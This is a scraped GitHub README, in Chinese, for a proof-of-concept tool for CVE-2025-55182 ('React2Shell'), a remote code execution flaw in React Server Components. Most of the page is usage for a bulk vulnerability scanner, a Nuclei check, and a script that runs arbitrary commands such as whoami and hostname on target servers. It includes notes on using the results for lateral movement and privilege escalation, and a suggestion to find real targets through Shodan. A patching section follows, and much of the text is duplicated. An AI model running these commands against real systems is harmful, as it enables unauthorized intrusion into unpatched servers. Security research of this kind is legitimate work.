litndat/React2Shell-PoC-CVE-2025-55182
GitHub: litndat/React2Shell-PoC-CVE-2025-55182
CVE-2025-55182(React2Shell)漏洞的利用验证工具,用于检测和复现 React Server Components 的严重远程代码执行漏洞。
Stars: 0 | Forks: 0
# React2Shell 漏洞利用模拟 (CVE-2025-55182)
### 注意事项:
- 本文档仅供安全学习与研究目的使用。
- 未经授权,请勿用于攻击任何系统。
## 1. 概述
CVE-2025-55182,又称 React2Shell,是一个影响 React Server Components (RSC) 的严重远程代码执行 (RCE) 漏洞。它使用 Flight 协议在客户端和服务器之间进行通信。当客户端请求数据时,服务器会接收并解析一个 payload,这使得攻击者可以插入恶意结构或任何被 React 视为有效的任意代码。
| 项目 | 内容 |
|-----|---------|
| 严重程度 | Critical (CVSS 10.0) |
| 类型 | Unsafe Deserialization (CWE-502) |
| 攻击方式 | Remote, no authentication required |
| 受影响版本: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 及 Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
## 2. 原因分析
服务器在处理来自客户端的 payload 时未进行充分验证,使得攻击者能够:
- 注入恶意 payload
- 在服务器上执行代码
- 因其属于身份验证前的漏洞,故可在无需用户身份验证的情况下被利用。
自 2025 年 12 月 5 日起,已发现有针对该漏洞的实际利用活动。大多数成功的利用皆源自各类攻击团队的评估行为。Windows 和 Linux 环境均受影响。
## 3. 实践演练
安装
```
pip install -r requirements.txt
```
扫描存在漏洞 (vulnerable) 的服务器:
```
python3 scanner.py -u https://example.com
```
输入要扫描的路径(此处我输入了自己的受漏洞环境地址 ``http://192.168.10.1:3000``)
获得的结果:
```
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
```
#### 此外,您还可以根据自己的利用目的进行更多扫描:
扫描服务器列表:
```
python3 scanner.py -l hosts.txt
```
多线程扫描并保存结果:
```
python3 scanner.py -l hosts.txt -t 20 -o results.json
```
使用自定义 Header (标头) 扫描:
```
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
```
针对 Windows 目标的扫描:
```
python3 scanner.py -u https://example.com --windows
```
使用安全副信道检测方法:
```
python3 scanner.py -u https://example.com --safe-check
```
如您所见,我们正面临一个安全漏洞,这意味着我们提供的服务器很容易受到攻击者的攻击。
### Nuclei
现在我们将使用 Nuclei 来检查该服务器是否存在带有 POC 的漏洞。此功能通过发送自定义请求来工作,旨在减少误报 (false positive) 并支持并行扫描。
```
nuclei -t scan.yaml -u http://192.168.10.1:3000
```
获得的结果
```
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
```
系统已检测出该服务器存在漏洞,并且可能会被 CVE-2025-55182 漏洞利用。由此可见,这是一个相当危险且重要的漏洞,社交平台上已有大量的 POC 公开。 ☺☺☺
## 4. 漏洞利用方法
您可以看到,仅凭这些信息就足以确认上述应用程序中存在安全漏洞。为了证明该应用程序可被用于运行命令或执行远程代码,我将开始进行 PoC。
```
chmod +x scanner.sh
```
#### 使用方法
```
# 检查对方是否存在 vulnerable
./datscan.sh -d example.com
# 执行命令检查当前 user
./datscan.sh -d example.com -c "whoami"
# 使用完整 URL
./datscan.sh -d example.com -c "uname -a"
```
含义说明:
返回当前运行服务器进程的用户
帮助确定:
- 应用程序在哪个用户权限下运行
- 权限级别(是低权限还是管理员)
=> 这是确认 RCE 成功执行的最基本命令
## 注意事项
- `-d, --domain` - domain/URL
- `-c, --command` - 要执行的命令(例如:`whoami, hostname,...`)
## 示例
```
# 检查机器名称
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# 识别操作系统版本
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# 检查 command execution 是否稳定运行
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
```
| 执行命令的含义 | 内容 |
|-----|---------|
| 返回主机名 (host name) | 用途:
- 确定受影响的系统身份
- 为内部环境中的横向移动 (lateral movement) 提供支持 | | 确定操作系统版本 | 非常重要:
-评估后续提权 (privilege escalation) 的可能性
- 选择合适的 exploit | | 检查命令执行 | 用于调试 payload / scanner | | 返回当前用户名 | 在此场景下:
-用户为 ADMIN → 可能具有高权限
- 在某些 Windows 案例中比 whoami 更为关键 | | 返回机器名 | 通过环境变量返回机器名 | #### 执行后的演示截图
这是漏洞利用成功后的初始侦察阶段。
``它帮助我们确认:RCE 已生效、识别操作系统类型等...``
## 警告
由于本次实验是我在个人实验环境中进行的演示,为了避免触犯法律,使用 HTTP 标头提取数据时,大量输出或特殊字符可能会导致:
- `ERR_INVALID_CHAR`
- Response 被截断
- 超时 (Timeouts)
在测试环境中,使用较短的命令(例如:`whoami`、`ver`)能更可靠地进行演示。
如果您不喜欢这种方式,可以使用 Shodan 直接检查真实环境中的 IP 地址,并像我上面的实验那样进行漏洞利用(不推荐)。
如上文注意事项中所述。此工具仅供教育和经过授权的安全测试使用。请勿使用此工具对您不拥有或未获授权测试的系统进行扫描。
## 5. 漏洞修复建议
- 切勿信任来自客户端的数据
- 严格进行输入验证 (Validate input)
- 更新至安全版本
- React: >= 19.0.1 / 19.1.2 / 19.2.1
- Next.js: >= 15.0.5 / 16.0.7
## 6. 延伸阅读
* CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
* CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
获得的结果:
```
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
```
#### 此外,您还可以根据自己的利用目的进行更多扫描:
扫描服务器列表:
```
python3 scanner.py -l hosts.txt
```
多线程扫描并保存结果:
```
python3 scanner.py -l hosts.txt -t 20 -o results.json
```
使用自定义 Header (标头) 扫描:
```
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
```
针对 Windows 目标的扫描:
```
python3 scanner.py -u https://example.com --windows
```
使用安全副信道检测方法:
```
python3 scanner.py -u https://example.com --safe-check
```
如您所见,我们正面临一个安全漏洞,这意味着我们提供的服务器很容易受到攻击者的攻击。
### Nuclei
现在我们将使用 Nuclei 来检查该服务器是否存在带有 POC 的漏洞。此功能通过发送自定义请求来工作,旨在减少误报 (false positive) 并支持并行扫描。
```
nuclei -t scan.yaml -u http://192.168.10.1:3000
```
获得的结果
```
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
```
系统已检测出该服务器存在漏洞,并且可能会被 CVE-2025-55182 漏洞利用。由此可见,这是一个相当危险且重要的漏洞,社交平台上已有大量的 POC 公开。 ☺☺☺
## 4. 漏洞利用方法
您可以看到,仅凭这些信息就足以确认上述应用程序中存在安全漏洞。为了证明该应用程序可被用于运行命令或执行远程代码,我将开始进行 PoC。
```
chmod +x scanner.sh
```
#### 使用方法
```
# 检查对方是否存在 vulnerable
./datscan.sh -d example.com
# 执行命令检查当前 user
./datscan.sh -d example.com -c "whoami"
# 使用完整 URL
./datscan.sh -d example.com -c "uname -a"
```
含义说明:
返回当前运行服务器进程的用户
帮助确定:
- 应用程序在哪个用户权限下运行
- 权限级别(是低权限还是管理员)
=> 这是确认 RCE 成功执行的最基本命令
## 注意事项
- `-d, --domain` - domain/URL
- `-c, --command` - 要执行的命令(例如:`whoami, hostname,...`)
## 示例
```
# 检查机器名称
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# 识别操作系统版本
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# 检查 command execution 是否稳定运行
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
```
| 执行命令的含义 | 内容 |
|-----|---------|
| 返回主机名 (host name) | 用途:- 确定受影响的系统身份
- 为内部环境中的横向移动 (lateral movement) 提供支持 | | 确定操作系统版本 | 非常重要:
-评估后续提权 (privilege escalation) 的可能性
- 选择合适的 exploit | | 检查命令执行 | 用于调试 payload / scanner | | 返回当前用户名 | 在此场景下:
-用户为 ADMIN → 可能具有高权限
- 在某些 Windows 案例中比 whoami 更为关键 | | 返回机器名 | 通过环境变量返回机器名 | #### 执行后的演示截图
这是漏洞利用成功后的初始侦察阶段。
``它帮助我们确认:RCE 已生效、识别操作系统类型等...``
## 警告
由于本次实验是我在个人实验环境中进行的演示,为了避免触犯法律,使用 HTTP 标头提取数据时,大量输出或特殊字符可能会导致:
- `ERR_INVALID_CHAR`
- Response 被截断
- 超时 (Timeouts)
在测试环境中,使用较短的命令(例如:`whoami`、`ver`)能更可靠地进行演示。
如果您不喜欢这种方式,可以使用 Shodan 直接检查真实环境中的 IP 地址,并像我上面的实验那样进行漏洞利用(不推荐)。
如上文注意事项中所述。此工具仅供教育和经过授权的安全测试使用。请勿使用此工具对您不拥有或未获授权测试的系统进行扫描。
## 5. 漏洞修复建议
- 切勿信任来自客户端的数据
- 严格进行输入验证 (Validate input)
- 更新至安全版本
- React: >= 19.0.1 / 19.1.2 / 19.2.1
- Next.js: >= 15.0.5 / 16.0.7
## 6. 延伸阅读
* CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
* CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/标签:Go语言工具, Python, 不安全反序列化, 应用安全, 无后门, 编程工具, 远程代码执行, 逆向工具